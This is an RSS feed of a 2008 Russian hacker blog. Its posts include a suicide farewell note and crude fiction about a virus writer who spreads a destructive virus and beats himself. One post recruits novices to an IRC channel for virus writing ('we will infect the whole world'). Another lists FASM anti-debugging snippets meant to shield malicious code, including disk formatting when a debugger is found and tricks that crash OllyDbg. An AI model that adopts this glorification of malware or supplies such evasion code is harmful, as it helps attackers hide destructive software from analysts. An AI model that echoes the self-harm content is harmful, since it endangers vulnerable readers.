<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"><channel><title>evilphreak</title><link>http://evilphreak.blog.ru/</link><description>evilphreak - Блог.ру</description><lastBuildDate>Mon, 31 Mar 2008 00:05:28 GMT</lastBuildDate><generator>Блог.ру</generator><image><url>http://stat4.blog.ru/am/0801fd7d45c6d5c5eb14a17bd45037f8</url><link>http://evilphreak.blog.ru/</link><title>evilphreak</title><width>70</width><height>99</height></image><item><guid isPermaLink="true">http://evilphreak.blog.ru/6661987.html</guid><pubDate>Mon, 31 Mar 2008 00:05:28 GMT</pubDate><title>Бог облажался</title><link>http://evilphreak.blog.ru/6661987.html</link><description>&lt;div align="left"&gt;Бог будет богом пока он выше всех нас. Когда бог спускается он уже не&lt;br&gt;бог, а обычный кусок гавна. Но не все боги станут гавном. Кто-то не&lt;br&gt;сможет с этим смириться и будет и не богом и не гавном&amp;nbsp;— будит ничем&amp;nbsp;—&lt;br&gt;убьет себя - наложит руки так сказать. Я скажу, что облажался и&lt;br&gt;вынужден наложить так сказать руки на свое тело.. Но душа конечно&lt;br&gt;будет витать вокруг вас, и будет наблюдать за вами. Сейчас я пишу уже&lt;br&gt;в полумертвом состоянии, но мой труп обнаружат не скоро, т.к. я не с&lt;br&gt;кем не общаюсь в реале. Может быть запах зловоний, трупного яда,&lt;br&gt;который через несколько дней распространиться по этажу, вынудит&lt;br&gt;соседей вызвать соответствующие службы, и я предстану им пожранный&lt;br&gt;наполовину скольскими червяками, но мой винт будет чист, и никто не&lt;br&gt;узнает что было правдой и истеной в одном лице, только моя душа, моя&lt;br&gt;теплая, добрая душа будет летать и думать о бинарном коде, о трапфлаге&lt;br&gt;и затирании его отладчиком при PUSHFD, о нулевых дескрипотрах в&lt;br&gt;защищенном режиме, о переполнении буфера при слишком длинном имени&lt;br&gt;модуля, об обиженном в widows регистре gs, и совсем не обиженном fs.&lt;br&gt;Прощай мир! Я умер.&lt;/div&gt;</description><category>я умер</category></item><item><guid isPermaLink="true">http://evilphreak.blog.ru/6412675.html</guid><pubDate>Sun, 23 Mar 2008 03:36:15 GMT</pubDate><title>Белая комната</title><link>http://evilphreak.blog.ru/6412675.html</link><description>Я богат. У меня достаточно денег, чтобы заниматся тем что мне нравится&lt;br&gt;&amp;mdash; писать свои испражнения мозга. Некоторые темы хочется услышать и от&lt;br&gt;других. И когда знаешь, что кроме тебя это никто не напишет, пишешь&lt;br&gt;это сам, и становишься зероди автором. В нашей области это самое&lt;br&gt;почетное &amp;mdash; сделать что-то первым. Создать что-то &amp;mdash; придумать новую&lt;br&gt;идею, концепцию, хитрый оптимизированный клочек кода, который&lt;br&gt;перещеголяет все другие подобные клочки. И здесь приходит хитрая мысль&lt;br&gt;- отдать код публике, заявить о себе, либо использовать его для&lt;br&gt;заработка вкусных шеккелей. С одной стороны хочется славы, с другой&amp;nbsp;&amp;mdash;&lt;br&gt;необходимо выживать, и визуально подниматся среди других. Что выбрать?&lt;br&gt;&lt;br&gt;Чистая, но не стерильная комната, компьютер в углу, пять мониторов по&lt;br&gt;бокам и один на потолке. Вкусная и сладкая картинка. Слева стоит шкаф&lt;br&gt;в виде множества отделений, которые содержат различного вида&lt;br&gt;дистрибутивы системного программного обеспечения, коллекция&lt;br&gt;операционных систем с самыми различными дополнениями к ним и&lt;br&gt;исчерпывающие коллекции различных версий того самого ПО. Там же стоят&lt;br&gt;компакт-диски с набором огромного количества мотивирующих материалов&lt;br&gt;представленных в виде известных фильмов о хакерах, тонизирующей и&lt;br&gt;бодрящей техно музыки любых сортов. Все эти вещи предельно четко&lt;br&gt;отсортированны и общая картина выглядит очень мощно и впечатляюще.&lt;br&gt;Рядом стоит похожий шкаф, такой же белый и выполненный из хорошего&lt;br&gt;белого дерева, но его отделения шире и выше. В нем хранится литература&lt;br&gt;о программировании, о внутреннем устройстве операционных систем, о&lt;br&gt;сетевом оборудовании, о использовании различного вида программного&lt;br&gt;обеспечения. Книги, заслуживающие особого внимания представлены всеми&lt;br&gt;своими томами и изданиями. Все они перечитаны по несколько раз. Все&lt;br&gt;эти знания содержатся в голове создателя этой неповторимой&lt;br&gt;техно-атмосферы. В минуты свободного времени, он берет с полки одну из&lt;br&gt;книг, и содится в свое красное большое бархатное кресло, и по плану&lt;br&gt;читает стодвадцать минут техночтива. Часто его мини-библиотека&lt;br&gt;пополняется новыми работы техно-художников. Но если работа плохо&lt;br&gt;написанна или переведена, то она идет не на полку в шкафу, а в агонь.&lt;br&gt;Так и произошло со всеми книгами Криса Касперски. Чистая белая&lt;br&gt;комната, три белых шкафа, красное бархатное кресло. В третьем шкафу&lt;br&gt;лежат дополнительные бэкапные винды, на случай, если вдруг часть&lt;br&gt;основного RAID-массива повредится, сразу же на лету на живую систему&lt;br&gt;можно поставить дополнительный винт. Сама машина подключена к мощному&lt;br&gt;стабилизатору напряжения, не менее мощному источнику бесперебойного&lt;br&gt;питания и оптоволоконному каналу для подпидки жажды Интернета. На&lt;br&gt;голых стенах перед компьютером развешены различного вида шпаргалки &amp;mdash;&lt;br&gt;таблица опкодов однобайтных и двухбайтных инструкций, уже бесполезная&lt;br&gt;шпаргалка описания полей дескриптора защищенного режима, клавиатурные&lt;br&gt;комбинации Total Commander и многие другие. Человек сидящий за&lt;br&gt;компьютером одет в свежий костюм, который он меняет каждый день для&lt;br&gt;повышения мотивации и соответственно эффективности. Он оставляет все&lt;br&gt;свои вредные привычки за стенами комнаты и полностью поглощен&lt;br&gt;написанием нового зероди. Спина прямая, глаза очень бодрые, и может&lt;br&gt;показатся что даже через чур бодрые. Может быть это стимурующие&lt;br&gt;вещества дают возможность чувствовать себя еще бодрее чем обычные&lt;br&gt;люди. Да он не стесняется использовать любые мотивирующие средства, в&lt;br&gt;том числе и химические. Все для одного &amp;mdash; для достижения результата.</description><category>комната</category></item><item><guid isPermaLink="true">http://evilphreak.blog.ru/6171587.html</guid><pubDate>Wed, 12 Mar 2008 06:33:32 GMT</pubDate><title>Смерть лучшего друга</title><link>http://evilphreak.blog.ru/6171587.html</link><description>Страшная, нечеловеческая ненависть возникла во всей его сущности. Во&lt;br&gt;рту показались рвотныепозывы и вкус блевотины становился все более&lt;br&gt;четким. Белое лицо в момент, в долю мига, стало красным до черноты.&lt;br&gt;Кулаки сжались до боли, ногти впились в большие разгоряченные ладони.&lt;br&gt;Сердце начало биться с утроенной скоростью. От злости, от натуги даже&lt;br&gt;показалось, что он сейчас обосрется. Так и получилось. Вместе с&lt;br&gt;кульминацией рвотного рефлекса теплая коричневая масса покатилась&lt;br&gt;книзу. Блевотина также густым ровным потоком посыпалась вниз на сжатые&lt;br&gt;кулаки от чего они оробели и распустились как бутон неизвестного&lt;br&gt;цветка. Он упал на землю и начал биться руками изо всех сил. Руки&lt;br&gt;разбились сразу же, и кровь разбитой кожи хлынула на землю. Блевотина&lt;br&gt;перемешанная с белой пеной и кровью также вальяжно разгулялясь&lt;br&gt;полугустой диафрагмой. Это были чувства чудовищной, переполненной&lt;br&gt;злости смешанной с величайшей на земле тоской. Желчное, сухое лицо&lt;br&gt;перекосилось и превратилось в кусок красно-синего плесневого гнилого&lt;br&gt;мяса. Злость сменялась позывами глубокого разочарования, великого&lt;br&gt;несчастья и горя. Что случилость? От чего все это? Что случилось с&lt;br&gt;этим незаметным в толпе мужчиной? Отчего его легкие разрывались от&lt;br&gt;переполненного жесткого глубокого дыхания? Никто думаю и не подумал бы&lt;br&gt;об том, чтобы было истиной. Не смотря вперед, прохожие проходившие&lt;br&gt;мимо сталкивавались с мужчиной и он обмазывал их своими плодами&lt;br&gt;нестерпимого чувства. Запах вокруг него стоял нестерпимый, по дороге&lt;br&gt;он продолжал блевать и срать под себя тем что у него осталось. От воли&lt;br&gt;его не осталось и следа. Наоборот возникло сильное чувство&lt;br&gt;противоположное воле. Гавно немного свисало и показывалось изнутри&lt;br&gt;серых пропитанных пОтом джинс. Он был неплохо одет, но был грязен и&lt;br&gt;вонял. На лице виделись лишь два маленьких заполненных слезами&lt;br&gt;огонька, которые как казалось уже не хотят гореть. Плетясь по мостовой&lt;br&gt;площади он все нашептывал какие-то странные, непонятные для всех слова&lt;br&gt;- &amp;laquo;БЭПЭ&amp;raquo;, &amp;laquo;БЭПЭИКС&amp;raquo;, &amp;laquo;ИТРИХИЭ&amp;raquo; и что-то еще совсем уже не понятное и&lt;br&gt;не произносимое&amp;hellip; Все думали что он болен психически, был бомжом, его&lt;br&gt;отпиздили и насрали ему на голову. На самом деле этот мужчина был&lt;br&gt;хорошим низкоуровневыми программистом. Его звали Петя. Все чувства,&lt;br&gt;все действия которые он совершал происходили в агонии, агонии&lt;br&gt;вселеннского горя. Так плохо он себя не чувствовал никогда. Он потярял&lt;br&gt;своего лучшего друга, который много лет спасал его в борьбе с врагами,&lt;br&gt;веселил его в моменты депрессий и вообще был его незаменимой&lt;br&gt;поддержкой и опорой. Все произошло в секунду и теперь он, изможденный,&lt;br&gt;убитый, грязный и вонючий. Ему похуй на весь мир. Казалось, что сейчас&lt;br&gt;он и сам мог умереть и скорее всего хотел, ибо продолжать жизнь без&lt;br&gt;своего друга будет страшной нестерпимой болью на всю жизнь. Его очки&lt;br&gt;были казалось уже пропитаны слезами, пОтом и кровью. Его друга звали&lt;br&gt;Soft Iсe, и вот несколько минут назад он узнал, что его больше не&lt;br&gt;будет. Не будет НИКОГДА. Жизнь закончилась на этом. Жизни больше нет и&lt;br&gt;никогда не будет. Да, друг иногда тоже был не в настоении и мог упасть&lt;br&gt;в синий экран смерти, но это были мелочи, которые по сути ничего не&lt;br&gt;значили перед всеми его достоинствами. Он мог проникнуть очень глубоко&lt;br&gt;и рассказать таинства, о которых доселе не знал никто&amp;hellip; Показать&lt;br&gt;изнанку реальности, правдивые изуверские факты. Его темные панели&lt;br&gt;всегда радовали все четыре Петины глаза, регистровая панель приносила&lt;br&gt;блаженство и радость бытия. Что теперь делать? Как жить? Петя не знал&lt;br&gt;ответ на этот вопрос сейчас и помочь ему никто не был в силах&amp;hellip;</description><category>soft ice</category><category>друг</category></item><item><guid isPermaLink="true">http://evilphreak.blog.ru/6127971.html</guid><pubDate>Mon, 10 Mar 2008 14:35:19 GMT</pubDate><title>Online-конференция в прямом эфире!</title><link>http://evilphreak.blog.ru/6127971.html</link><description>Прямо сейчас на нашем канале #virus идет конференция об основах win32-программирования используя ассемблер. Не пропустите! Уродов разных сразу баним!</description><category>#virus</category><category>конференция</category><category>irc</category></item><item><guid isPermaLink="true">http://evilphreak.blog.ru/6096419.html</guid><pubDate>Sun, 09 Mar 2008 09:34:52 GMT</pubDate><title>IRC</title><link>http://evilphreak.blog.ru/6096419.html</link><description>Внимание всем вирусописателям!!!&amp;nbsp;Свершилось!!!&lt;br&gt;Теперь мы сможем встретится и поговорить обо всех так нами любимых технических вещах!&lt;br&gt;Как начинались все великие VX-группы?? Они начинались с IRC-канала #virus.&lt;br&gt;Вот маленький кусочек вступления первого зиноса 29а:&lt;br&gt;&lt;br&gt;&lt;em&gt;&amp;laquo;We were just a bit late, that was all. Everything was right until IRC su-&lt;br&gt;ddenly came into our lifes and sucked all the time we used to dedicate to&lt;br&gt;code viruses. Anyway, and as we're intelligent, we realised that we had&lt;br&gt;to get some more time to restart creating life, and that's why we haven't&lt;br&gt;slept for more than one month and we're known nowadays in the uni as the&lt;br&gt;biggest waggers around :)&amp;raquo;&lt;/em&gt;&lt;br&gt;&lt;br&gt;Именно оттуда все началось! Мы должны знать свои корни! Я создал канал #virus на известном IRC-сервере и теперь мы можем начать свой путь! Путь победителей! Путь людей, которые не похожи ни на кого другого! Я буду постоянно на этом канале и могу помочь даже новичкам с азами вирусописания. Вместе мы заразим весь мир!&lt;br&gt;&lt;br&gt;&lt;u&gt;Координаты канала:&lt;/u&gt;&lt;br&gt;&lt;strong&gt;SERVER:&lt;/strong&gt; irc.street-creed.com&lt;br&gt;&lt;strong&gt;CHANNEL:&lt;/strong&gt; #virus</description><category>#virus</category><category>29a</category><category>irc</category></item><item><guid isPermaLink="true">http://evilphreak.blog.ru/6093715.html</guid><pubDate>Sun, 09 Mar 2008 06:52:43 GMT</pubDate><title>Петя</title><link>http://evilphreak.blog.ru/6093715.html</link><description>Его звали простым русским именем Петя. Совсем недавно он закончил свой&lt;br&gt;университет по специальности системное и прикладное программирование и&lt;br&gt;программное обеспечение. И вот лето, стоя рядом с университетом, с&lt;br&gt;дипломом в руке, в зубах с сигаретой, солнце ослепляло его уставшие&lt;br&gt;четыре глаза и он думал только об одном сейчас &amp;mdash; побыстрее бы опять&lt;br&gt;вернутся к себе &amp;mdash; в свою зашторенную, задымленную комнату, на свое&lt;br&gt;любимое место &amp;mdash; к своему столу где стоял его любимый и одновременно&lt;br&gt;ненависный компьютер. Петя не любил людей, но если более точно&lt;br&gt;выразится, провести мысть до сознания, - он их любил и может быть&lt;br&gt;очень сильно, но только в те моменты, когда их не было рядом. Таких&lt;br&gt;моментов у него было подавляющее большинство, скорее он чухался и&lt;br&gt;враждебно относился к любому какому-либо человеческому обществу.&lt;br&gt;Справедливости ради стоит сказать, что окружающие люди тоже не любили&lt;br&gt;Петю, но все таки уважали, потому как он имел всегда сосредоточенный и&lt;br&gt;умный вид, а порой и очень злой. Все его соседи обходили Петю&lt;br&gt;стороной, т.к. все думали, что он опасен и неадекватен. Незадолго до&lt;br&gt;такого всеобщего озлобленного отношения к нему он будучи сильно пьян и&lt;br&gt;обдолбан насрал в лифте своего собственного дома огромную кучу дерьма&lt;br&gt;как раз такую, которая бывает после сильной пьянки. После, взяв&lt;br&gt;немного дерьма себе на указательный палец он написал на внутренней&lt;br&gt;стороне крыши лифта незамысловатые слова примерно такого содержания:&lt;br&gt;&lt;br&gt;&amp;laquo;ВЫ ВСЕ ГАВНО И ПЕРРАБОТАННЫЕ ОВОЩИ! ЙА ХЭККЕР! ХАК ЗЕ ВОРЛД!&lt;br&gt;&lt;br&gt;MOV EAX,[FS:0h]&lt;br&gt;XOR EAX,0BADC0DEh&lt;br&gt;INT 2E &amp;mdash;  &gt; seh exception&lt;br&gt;&lt;br&gt;КСОРИМ БЛЯТЬ ПАДАЛИ!&amp;raquo;&lt;br&gt;&lt;br&gt;Все это происходило в час пик, уставшая очередь в пять человек ждала&lt;br&gt;проклятый лифт, и после того как через пять секунд все ее члены&lt;br&gt;осознали, что кто-то так нехорошо поступил все разом скривили&lt;br&gt;одновременно озлобленные и противные гримасы. Но никто ни сказал не&lt;br&gt;слова, все пошли пешком чертыхаясь, но все как один между себя&lt;br&gt;подумали, что это сделал Петя, т.к. слова &amp;laquo;Хээкер&amp;raquo; у них&lt;br&gt;ассоциировались именно с ним. Для них всех он злой, умный и ванючий&lt;br&gt;кусок гавна. Он правда отличался от них. Он думал по другому. Порой&lt;br&gt;его могз сам его удивлял, когда он сам того не осознавая прикручивал&lt;br&gt;свежесозданный зероди к новому своему метаморфному вирусу. Петя был&lt;br&gt;среднего телосложения, не без лишнего веса, который он набрал пожирая&lt;br&gt;перед сном сало с вареньем пялясь в бережно оттюнингованную им же&lt;br&gt;оллю. К парадоксам можно было отнести тот факт, что раньше Петя&lt;br&gt;занимался спортом и мог всегда дать пизды любому гопнику&lt;br&gt;подстерегающему его за углом &amp;mdash; что не раз и бывало. Так произошло и с&lt;br&gt;некоторыми людьми кто так неистово и оскорбительно коментировал его&lt;br&gt;новый очень оригинальный блог. Он просто вычеслил ойпи адрес обидчика,&lt;br&gt;пришел к нему домой и одним точный прямым ударом с подскоком выбил&lt;br&gt;гавнюку челюсть. После, ожесточения в блоге от него не исходило. И вот&lt;br&gt;стоя вместе со своими уже бывшими одногруппниками он радовался, что&lt;br&gt;теперь он может посвятить все свое свободное время его любимому делу &amp;mdash;&lt;br&gt;созданию вирусов &amp;mdash; высшему искусству системных программистов любых&lt;br&gt;мастей. За неделю до этого Петя написал не самый сложный, но довольно&lt;br&gt;эффективный вирус, который паразил много компьютеров его города. Вирус&lt;br&gt;этот содержал по настоящему злую деструктивную процедуру и Петя в&lt;br&gt;предвкушении намеченной даты имел и по этому поводу отличное&lt;br&gt;настоение. В отличии от всех Петя не одел костюм, он как обычно был&lt;br&gt;джинсах, кроссофках и его трехдневная щетина немного раздражала его,&lt;br&gt;но побрится было лень уже какой день. Конечно с ним был его ноут, но&lt;br&gt;секурность была навысоте и даже если бы он его проебал он точно знал,&lt;br&gt;что никто не докажет его причастность к созданию этого злого&lt;br&gt;деструктивного вируса. Вирус был назван &amp;laquo;М&amp;hellip; &amp;hellip;.&amp;raquo; в честь его новой&lt;br&gt;любви. Да Петя умел любить, у него было сердце, но к сожалению мало&lt;br&gt;людей могло бы разделить его любовь и обычно все его увлечения просто&lt;br&gt;перерастали в новые технические создания, новую деструкцию или&lt;br&gt;модификацию трейсингово движка. Сейчас, в этот момент, когда&lt;br&gt;полутеплый воздух дул ему в лицо перед ним раскрывалась большая&lt;br&gt;свобода, он ни от кого не зависел и мог писать код месяцами не вылезая&lt;br&gt;из своей жалкой маленькой темной конуры лишь изредка и желчно выползая&lt;br&gt;в магазин купить несколько пачек пельменей, разводной лапшы и&lt;br&gt;пакетированного чая. Выходя в таких случах он ненавидел всех &amp;mdash;&lt;br&gt;прохожих, кассиров, кошек, собак. Лицо его было желтым до черноты, и&lt;br&gt;всем прохожим он очень жаждал дать пизды, а лучше растрелять из&lt;br&gt;автомата. Наверное к нему пришло бы истинное щастье когда все бы эти&lt;br&gt;люди исчезли и он остался бы в конец один. Хотя в некоторые минуты он&lt;br&gt;имел противоположное мнение и хотел наоборот заговорить с тем&lt;br&gt;человеком, кто понял бы его наверняка, с одного слова. Наверное в&lt;br&gt;глубине души он все таки искал свою вторую половинку. Сама эта мысль&lt;br&gt;ему не очень нравилась и порой он ненавидел себя за это &amp;mdash; т.к. мысль&lt;br&gt;эта приближала его к подобным овощам &amp;mdash; к обычным людям, а это его&lt;br&gt;наверное волновало больше всего &amp;mdash; он не хотел быть как все. Ну говоря&lt;br&gt;еще больше, не будет лестью ему сказать, что Петя не был похожим на&lt;br&gt;других и тот факт что он насрал в лифте может один раз это потвердить&lt;br&gt;хоть и не является примером для подражания. А его увлечение писать&lt;br&gt;вирусы поднимало его выше всех окружающих серых тупых лиц. Ведь писать&lt;br&gt;вирусы &amp;mdash; занятие для избранных, и детище его попадало в квартиры&lt;br&gt;многих, зараза плодилась и он прекрастно это знал. Конечно необходимо&lt;br&gt;было боротся со своим тщестлавием применяя жесткие дисциплинарные меры&lt;br&gt;для себя самого. Хоть Петя не любил людей все вирусы он делал косвенно&lt;br&gt;для них, это были теже отголоски тщеславия от которого он никак не мог&lt;br&gt;убежать. Он был хозяином их компьютеров, он знал что его бинарный код&lt;br&gt;мог управлять центром информационной обработки всех людей. Все зависит&lt;br&gt;лишь от его желания и фантазии, а фантазии у него всегда хватало. Т.к.&lt;br&gt;Петя мало общался он был вынужден подавлять наплывы сильнейшего&lt;br&gt;сексуального возбуждения жестоким онанированием под тяжолый митал. Эти&lt;br&gt;наплывы его также очень сильно раздражали, он не хотел быть животным,&lt;br&gt;он стремился быть в высшей степени разумным существом. Конечно его не&lt;br&gt;интересовал его собственный социальный статус, т.к. социум для него&lt;br&gt;был пустотой &amp;mdash; сущностью, которая ничего все берет, но ничего не дает&lt;br&gt;ему. Все потому что он никогда не встречал людей которые были хотя бы&lt;br&gt;равны перед ним в интеллектуальном плане. Порой петя мечтал сьебаца в&lt;br&gt;лес, провести выделенку и жыть там много-много лет, дроча перед&lt;br&gt;монитором на порнографические фильмы. Но это желание приходило к нему&lt;br&gt;лишь иногда, потому как он хоть и ненавидил социум, был его большой&lt;br&gt;частью и жить без него долго не мог. Петя просыпался рано. Он часто&lt;br&gt;встречал рассвет сидя в тишине на балконе и затягивая очередную&lt;br&gt;сигарету. Там же на рассвете, в тишине он опять же неустанно дрочил на&lt;br&gt;приливающие к мозгу сексуальные фантазии. Петя был волен изменить свою&lt;br&gt;жизнь, жизнь другим, в нем было куча силы, но переменно не хватало&lt;br&gt;воли, которую он неустанно непереставал тренировать не онанируя порой&lt;br&gt;месяцами. Однажды набросив свой чорный кожанный свитер Петя вышел из&lt;br&gt;дома рано утром и побрел в направлении прямоты глаз, зачем он шел&lt;br&gt;никто не знал, и он тоже. Как обычно в голове его крутились странные&lt;br&gt;анти-социальные мысли подонка, он хотел повторить свой подвиг в лифте,&lt;br&gt;но предпочел не повторятся, и, как настоящий вирусописатель, придумать&lt;br&gt;что-то новое. Петя остановился посреди улецы, сжал кулак и со всей&lt;br&gt;силы уебал себя по еблу. Было больно, но лицо осталось цело, эти&lt;br&gt;обстоятельства только разозлили Петю и он ебанул себя опять с силой&lt;br&gt;втрое больше предыдущего удара. Нос разбит, но ему мало, и он&lt;br&gt;принимается ебашить себя двумя руками изо всех сил. В глазах&lt;br&gt;потемнело, голова закружилась, но сознание его не покинуло, он просто&lt;br&gt;упал на асфальт. И тогда что-то поразило его могз, все алгоритмы&lt;br&gt;вспомнились ему в один миг, все зиродийные антиотладочные хитрости,&lt;br&gt;которые он придумал наконуне ему показались примитивными, весь&lt;br&gt;мегабайт кода его третьего вируса ему показались отходами и он&lt;br&gt;ненавидя себя больше всех на свете принялся биться головой об асфальст&lt;br&gt;со всей неистовствостью и низостью написанного по его мнению кода&amp;hellip;..&lt;br&gt;Он очнулся в больнице, врач спросил его что случилось &amp;mdash; он ответил,&lt;br&gt;что он подскользнулся&amp;hellip; после этого случая Петя пишет код лучше, он&lt;br&gt;хочет любить себя, хочет гордится своим кодом, и исходя из этой его&lt;br&gt;волевой позиции ему нет равных на поле боя зеродийных разроботок, его&lt;br&gt;свежий, напичканный антиэмульными техниками пермутирующий движок,&lt;br&gt;силен как никогда, и вместе с ним он чувствует в себе силу и идет&lt;br&gt;опять же вперед иногда опять же онанируя под порнографические фильмы&lt;br&gt;скачанные с известных ему торрентов.</description><category>хэккеры</category><category>петя</category><category>жизнь</category></item><item><guid isPermaLink="true">http://evilphreak.blog.ru/6062563.html</guid><pubDate>Fri, 07 Mar 2008 15:56:42 GMT</pubDate><title>Современные антиотладочные хитрости.</title><link>http://evilphreak.blog.ru/6062563.html</link><description>Приведу набор разбавленных описаниями кусков антиотладочных фич. В общем кому надо они уже давно известны, но я их прокомпилирую, и думаю кое-кому это будет полезно. Замечания по сути материала приветствуются и полезны не только мне, но и вам. Зачем нужна антиотладка? Чтобы такие чмошники как Неокс и его одноклассники не смогли пробраться внутрь вашего злого кода. Т.е. чтобы их грязные ванючие лапы не добрались до святости. Отформатируя диск при попытке отладки мы эти лапы им отпилим, а заодно научим, что им в программировании и реверсинге делать нечего. Конечно, на пабликовские антиотладочные трюки имеются пабликовские способы их обнаружения, но это будет пищей для того, чтобы сгенерировать что-то свое. Если переход, значит отладчик найден. Синтаксис FASM.&lt;br&gt;&lt;br&gt;1)&lt;br&gt;mov eax, [fs:18h]; указатель на TEB&lt;br&gt;mov eax, [eax+30h]; указатель на PEB&lt;br&gt;movzx eax, byte [eax+2]; поле BegingDebugged в PEB&lt;br&gt;or eax, eax&lt;br&gt;jne @F&lt;br&gt;&lt;br&gt;2)&lt;br&gt;mov eax,[fs:30h]; указатель на PEB&lt;br&gt;movzx eax,byte [eax+2h]; поле BegingDebugged в PEB&lt;br&gt;or eax,eax&lt;br&gt;jne @F&lt;br&gt;&lt;br&gt;3)&lt;br&gt;OllyWindowClass db 'OLLYDBG',0h&lt;br&gt;&amp;hellip;&lt;br&gt;invoke FindWindow,OllyWindowClass,0&lt;br&gt;test eax,eax&lt;br&gt;jne @F&lt;br&gt;&lt;br&gt;4)&lt;br&gt;mov eax,[fs:30h]; указатель на PEB&lt;br&gt;mov byte [eax+2h],0xba&lt;br&gt;invoke IsDebuggerPresent&lt;br&gt;mov eax,[fs:30h]&lt;br&gt;cmp byte [eax+2h],0xba&lt;br&gt;jne @F&lt;br&gt;&lt;br&gt;Здесь просто неявная проверка на то, что IsDebuggerPresent похучен, ведь известно что IsDebuggerPresent берет значение из PEB как в способах 1 и 2.&lt;br&gt;&lt;br&gt;5)&lt;br&gt;mov eax,[fs:30h]; указатель на PEB&lt;br&gt;mov eax,[eax+68h]; PEB.NtGlobalFlag&lt;br&gt;test eax,eax&lt;br&gt;jne @F&lt;br&gt;&lt;br&gt;Обычно флаг NtGlobalFlag == 0, но если процесс отлаживается, то в нем присутствуют единичные биты указания отладочной кучи.&lt;br&gt;&lt;br&gt;6)&lt;br&gt;invoke CloseHandle,0x0DEADC0DE&lt;br&gt;&lt;br&gt;Вызов CloseHandle с невалидным указателем при обычном выполнении без отладчика не повлияет на исполнение последующего кода программы. Если эту строку исполнить в отладчике, то будет сгенерированно исключение, а т.к. оно не обрабатывается программой, оно будет передано отладчику. Это может вызвать пробему у неопытного реверсера.&lt;br&gt;&lt;br&gt;7)&lt;br&gt;mov eax,[fs:18h]; указатель на TEB&lt;br&gt;mov eax,[eax+30h]; указатель на PEB&lt;br&gt;mov eax,[eax+18h]; PEB.ProcessHeap&amp;nbsp;&amp;mdash; куча по умолчанию&lt;br&gt;cmp dword [eax+10h],0; HEAP.ForceFlags&lt;br&gt;jne @F&lt;br&gt;&lt;br&gt;Если поле HEAP.ForceFlags содержит флаги HEAP_FREE_CHECKING_ENABLED, HEAP_TAIL_CHECKING_ENABLED или из набора HEAP_DEBUG_FLAGS, то процесс отлаживается. Серце метода находится в функции создания кучи&amp;nbsp;&amp;mdash; RtlCreateHeap, если процесс отлаживатеся, то о любом повреждении кучи сообщается отладчику.&lt;br&gt;&lt;br&gt;8)&lt;br&gt;invoke SetProcessAffinityMask,-1,1&lt;br&gt;rdtsc&lt;br&gt;xor ecx,ecx&lt;br&gt;add ecx,eax&lt;br&gt;rdtsc&lt;br&gt;sub eax,ecx&lt;br&gt;cmp eax,0fffh&lt;br&gt;jnb @F&lt;br&gt;&lt;br&gt;Известный каждому трюк с чтением временного штампа процессора.&lt;br&gt;&lt;br&gt;9)&lt;br&gt;TrickFormatString db '%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s',0h&lt;br&gt;&amp;hellip;&lt;br&gt;invoke OutputDebugString,TrickFormatString&lt;br&gt;&lt;br&gt;Непатченная Олька падает при исполнении этого кода.&lt;br&gt;&lt;br&gt;10)&lt;br&gt;invoke WindowFromPoint,13ah,100h&lt;br&gt;invoke AnimateWindow,eax,701h,90000h&lt;br&gt;&lt;br&gt;Окно с кодом ольки таинственным образом исчезает&lt;br&gt;&lt;br&gt;11)&lt;br&gt;Фичи с некорректными для оли полями заголовка PE-файла:&lt;br&gt;&lt;br&gt;! Делаем LoaderFlag в OptionalHeader рандомным-большим, также поступаем и с NumberOfRVAOfSizes&lt;br&gt;! Делаем SizeOfCode и SizeOfInitData большими и рандомными&lt;br&gt;&lt;br&gt;В итоге оля будет тупить.&lt;br&gt;&lt;br&gt;12)&lt;br&gt;Если сделать имя файла для отладки %s%s.exe, то оля не сможет его загрузить.&lt;br&gt;&lt;br&gt;Это наиболее простые и известные фичи. Пока.</description><category>antidebug</category><category>asm</category></item><item><guid isPermaLink="true">http://evilphreak.blog.ru/6061891.html</guid><pubDate>Fri, 07 Mar 2008 15:05:45 GMT</pubDate><title>IDA</title><link>http://evilphreak.blog.ru/6061891.html</link><description>Облизываю соски Иды, нежно лаская ее влажное влагалище. И что дальше?&lt;br&gt;Дальше она кончает, и после кричит &amp;laquo;Сделай ищо!&amp;raquo;. Так продолжается&lt;br&gt;много-много раз, пока мы оба не будем полностью удовлетворены. Пока не&lt;br&gt;высушим друг друга до тла. Пока огни наших глаз с двух сторон не&lt;br&gt;погаснут. После всего этого, могз начинает ее любить. Милая Ида. Милая&lt;br&gt;ласковое солнышко. Моя девочка. Моя единственная. Я никогда не обижу&lt;br&gt;тебя. Я буду всегда любить тебя. Мы будем всегда вместе. Сейчас мы&lt;br&gt;помолвлены и ничто, повторю ничто не сможет нас с тобой разлучить.&lt;br&gt;Сегодня, я подарю тебе большой будет новых плат, чтобы ты расцвела в&lt;br&gt;новых красках новой версии. Я знаю, что для тебя важно получить больше&lt;br&gt;воздуха &amp;mdash; больше процессорного времени. На твой день рождения я подарю&lt;br&gt;тебе новый процессор, чтобы ты смогла распаралеллить свои потоки&lt;br&gt;анализа моих бинарных файлов, и мы снова совокупимся где угодно, где&lt;br&gt;только пожелаешь. Тебе нравиться заниматся этим в кафе? Хорошо мне&lt;br&gt;тоже. Милая. Милая Ида. Вечна любовь моя. Когда я смотрю на тебя я не&lt;br&gt;могу терпеть &amp;mdash; слезы начинают увлажнять моё чистое лицо. Теплота,&lt;br&gt;чистая неподдельная человеческая теплота разливается в моей груди. Ты&lt;br&gt;так красива. Нет лучше твоей нежной разливающейся улыбки&lt;br&gt;приветственного окна выбора файла для анализа, когда ты показываешь&lt;br&gt;мне чужые импорты, когда ты так покорно исполняешь мои IDC-скрипты я&lt;br&gt;взвываю от счастья. У меня нет слов. Я понастоящему счастлив с тобой.&lt;br&gt;Я хочу чтобы мы были всегда вместе. На зеленой солнечной поляне, среди&lt;br&gt;нежных колольчиков, сриди клочков травы оросённых плодом чье-го-то&lt;br&gt;кода, я сижу с тобой двоем, ты смотришь на меня, я на тебя. Больше нам&lt;br&gt;никто не нужен. Мы любим любоватся друг другом смотря на уходящий&lt;br&gt;закат. Приходя в интеренет кафе, ты может добыть для себя так тобой&lt;br&gt;любимые отладочные символы системных библиотек. Я всегда дам их тебе,&lt;br&gt;ведь я тебя люблю. Хочю слиться с тобой в безудоржном порыве страсти,&lt;br&gt;ты будоражишь мой могз, ты не можешь мне надоесть. Твоё лицо, чистое и&lt;br&gt;нежное как ранний тюльпан, ласковое как лапка кролика. Ты излучаешь&lt;br&gt;собой гордость. В тебе есть та женская мощь, которой мне так всегда 